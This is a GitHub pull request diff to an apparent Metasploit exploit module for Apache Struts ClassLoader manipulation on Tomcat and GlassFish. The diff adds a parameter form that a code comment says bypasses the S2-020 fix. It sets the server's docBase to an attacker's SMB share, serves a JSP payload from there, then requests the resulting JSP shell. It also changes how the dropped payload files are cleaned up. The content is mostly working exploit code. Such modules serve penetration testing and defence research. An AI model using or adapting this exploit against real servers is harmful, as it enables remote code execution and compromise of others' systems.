Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add improvements for docBase exploitation vector #4890

Merged
merged 4 commits into from
Mar 12, 2015
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
44 changes: 20 additions & 24 deletions modules/exploits/multi/http/struts_code_exec_classloader.rb
Original file line number Diff line number Diff line change
Expand Up @@ -69,7 +69,7 @@ def initialize(info = {})
'Platform' => 'win'
}
],
['Windows / Tomcat 6 & 7 (Remote SMB Resource)',
['Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'win'
Expand All @@ -84,12 +84,10 @@ def initialize(info = {})
Opt::RPORT(8080),
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x','2.x']]),
OptString.new('TARGETURI', [ true, 'The path to a struts application action', "/struts2-blank/example/HelloWorld.action"]),
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10]),
OptString.new('FILE_NAME', [ true, 'The JSP file with the payload (target dependant)', 'HelloWorld.jsp']),
OptString.new('FOLDER_NAME', [ true, 'The Folder where the JSP payload lives (target dependant)', 'example'])
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
], self.class)

deregister_options('FILE_CONTENTS')
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME', 'FILE_CONTENTS')
end

def jsp_dropper(file, exe)
Expand Down Expand Up @@ -202,11 +200,8 @@ def create_jsp
end
payload_file = rand_text_alphanumeric(4 + rand(4))
jsp = jsp_dropper(payload_file, payload_exe)
if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
register_files_for_cleanup("../webapps/ROOT/#{payload_file}")
else
register_files_for_cleanup(payload_file)
end

register_files_for_cleanup(payload_file)
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

always use CWD, is where the dropped binary should be

end

jsp
Expand All @@ -226,6 +221,7 @@ def exploit

# Used with SMB targets
def primer
self.file_name << '.jsp'
self.file_contents = payload.encoded
print_status("JSP payload available on #{unc}...")

Expand All @@ -235,9 +231,19 @@ def primer
'version' => '1.1',
'method' => 'GET',
'vars_get' => {
'class.classLoader.resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

bypass S2-020

}
})

jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
jsp_shell << "/#{self.file_name}"

print_status("#{peer} - Accessing JSP shell at #{jsp_shell}...")
send_request_cgi({
'uri' => normalize_uri(jsp_shell),
'version' => '1.1',
'method' => 'GET',
})
end

def class_loader_exploit
Expand Down Expand Up @@ -265,11 +271,8 @@ def class_loader_exploit
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
end

if target['Platform'] == 'win' && target['Arch'] == ARCH_X86
register_files_for_cleanup("../webapps/ROOT/#{@jsp_file}")
else
register_files_for_cleanup(@jsp_file)
end
# This path depends on CWD. May require manual cleanup
register_files_for_cleanup("webapps/ROOT/#{@jsp_file}")
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is what is unreliable, depends on CWD.
As said would be nice to fix #4667. In that case at least the user would know that file hasn't been deleted

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What do you think about removing the auto-cleanup for the JSP? maybe we can put directly:

print_warning("This exploit may require manual cleanup of '#{@jsp_file}' on the target")

In this way at least the user will know that he has to manually clean the JSP.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Since FileDropper also warns not an stopper to me. I don't have a hard opinion about giving a chance to FileDropper, or directly print_warning really....

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

oooo I forgot the first commen, yup, if FileDropper is providing a false positive worths to use print_warning here.


# Prepare the JSP
print_status("#{peer} - Generating JSP...")
Expand All @@ -288,9 +291,7 @@ def class_loader_exploit
end

# Check log file... enjoy shell!
unless target['Arch'] == ARCH_JAVA
check_log_file(random_request)
end
check_log_file(random_request)

# No matter what happened, try to 'restore' the Class Loader
properties = {
Expand All @@ -300,11 +301,6 @@ def class_loader_exploit
:file_date_format => ''
}
modify_class_loader(properties)

if target['Arch'] == ARCH_JAVA
send_request_cgi({ 'uri' => normalize_uri("/", @jsp_file) })
end

end

end
Expand Down